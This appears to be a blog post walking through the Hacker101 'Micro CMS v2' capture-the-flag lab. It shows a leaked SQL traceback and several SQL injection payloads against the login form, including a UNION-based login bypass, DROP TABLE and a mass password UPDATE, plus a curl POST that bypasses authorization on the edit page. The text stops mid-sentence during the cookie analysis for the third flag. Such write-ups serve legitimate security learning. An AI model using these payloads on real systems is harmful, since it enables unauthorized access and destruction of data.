Hacker1 CTF - Micro CMS v2

Grabbed the first flag on v2 of Hacker1's example CMS

We're messing with Hacker1's "Hacker101 CTF" You can also check out the Warmup and Part 1

Flag 0

Putting in some random junk can get you a wealth of information. At some point I entered a single quote (') and got this error, revealing that user input is formatted directly into the SQL statement. SQL injection it is then!

Traceback (most recent call last):
  File "./main.py", line 145, in do_login
    if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 250, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
    raise errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1")

Inputting something like the following gets us from a "Username not found" error to a "Incorrect password" error, progress! foo' OR '1'='1

I tried a bunch of things, including altering the table to insert my own user: foo'; INSERT INTO admins (username, password) VALUES ('lee', ''); SELECT password from admins WHERE username='lee

This was able to drop the table, but then I was shafted. You need to reset the challenge after doing something like this: foo'; DROP TABLE admins

You can't execute this after dropping the table because the reference to the table comes before it would execute your injected SQL: foo'; CREATE TABLE admins (username string, password string)

I tried to just alter all the records to have the same password: foo'; UPDATE admins SET password = 'password' where '1'='1

I tried "overriding" a field via the AS SQL keyword but that didn't work. foo'; SELECT DISTINCT "foo" AS password FROM admins WHERE '1' = '1

Being a noob, at this point I had to seek a hint. The hint encourages to find "a more unified" approach, so it must involve using a UNION. Aha!

Username: foo' UNION SELECT "AAA" as password FROM admins WHERE '1' = '1 Password: AAA

If you capture the initial response from a login obtained with SQL injection, you see a helpful comment: curl -v -d "username=foo' UNION SELECT \"AAA\" as password FROM admins WHERE '1' = '1" -d password=AAA<instance hash>/login

<!doctype html>
		<title>Logged in</title>
		<h1>Logged In!</h1>
		<a href="home">Go Home</a>
		<script>setTimeout(function() { window.location = 'home'; }, 3000);</script>
		<!-- You got logged in, congrats!  Do you have the real username and password?  If not, might want to do that! -->

Flag 1

This one is simple but I didn't get it at first. Using curl to directly POST to the edit url gets the flag. I guess it must be that the GET of the edit url to load the page with the form gets checked for authorization, but not the actual POST of the form data:

$ curl -v -X POST<hash>/page/edit/2
*   Trying
* Connected to ( port 5001 (#0)
> POST /<hash>/page/edit/2 HTTP/1.1
> Host:
> User-Agent: curl/7.54.0
> Accept: */*
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Tue, 12 Feb 2019 06:31:07 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 76
< Connection: keep-alive
* Connection #0 to host left intact

Flag 2

Once again I utilized the hints to narrow down the options. It mentioned that there may be some connection between the facts that flags and credentials are both secret. So I started looking for additional secret data. I looked at the cookies that were set upon successful log in (Flag 0) and saw values like these for two different sessions:


The first segment remained identical and my first instinct was just to base64 decode it. That revealed:


Cool. What if I just